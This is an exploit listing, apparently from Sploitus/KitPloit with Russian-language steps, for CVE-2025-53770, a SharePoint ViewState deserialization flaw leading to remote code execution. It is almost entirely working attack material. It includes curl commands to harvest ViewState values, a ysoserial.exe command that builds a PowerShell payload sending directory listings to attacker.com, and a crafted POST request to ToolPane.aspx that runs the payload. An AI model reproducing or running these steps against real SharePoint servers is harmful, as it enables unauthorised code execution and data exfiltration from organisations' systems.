Sploitus

CVE-2025-53770-Exploit

kitploit · 2026-08-27

Exploit Code

MARKDOWN43 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-UDYZ-CVE-2025-53770-EXPLOIT
# CVE-2025-53770-Exploit

Сначала получите значения __VIEWSTATEGENERATOR, VALIDATION_KEY, VALIDATION_ALG на целевой странице SharePoint:

root@kitploit:~
    
    
    curl -s https://target.com/_layouts/15/start.aspx | grep -oP '__VIEWSTATEGENERATOR" value="\K[^"]+'
    curl https://target.com/_layouts/15/spinstall0.aspx
    

Затем создайте полезную нагрузку ViewState PowerShell с помощью ysoserial.exe, которая перечисляет содержимое каталога на сервере и отправляет имена файлов на внешний URL:

root@kitploit:~
    
    
    ysoserial.exe -p ViewState -g TypeConfuseDelegate \
    -c "powershell -nop -c \"dir 'C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) }\"" \
    --generator="<VIEWSTATE_GENERATOR>" \
    --validationkey="<VALIDATION_KEY>" \
    --validationalg="<VALIDATION_ALG>" \
    --islegacy \
    --minify
    

Наконец, добавьте сгенерированный токен в POST-запрос, как показано ниже, чтобы выполнить команду на сервере:

root@kitploit:~
    
    
    POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
    Host: x.x.x.x
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
    Content-Length: 7699
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Referer: /_layouts/SignOut.aspx
    Connection: close
    
    MSOTlPn_Uri=http%3A%2F%2Fwww.itsc.org%2F_controltemplates%2F15%2FAclEditor.ascx&MSOTlPn_DWP=<GENERATED_PAYLOAD>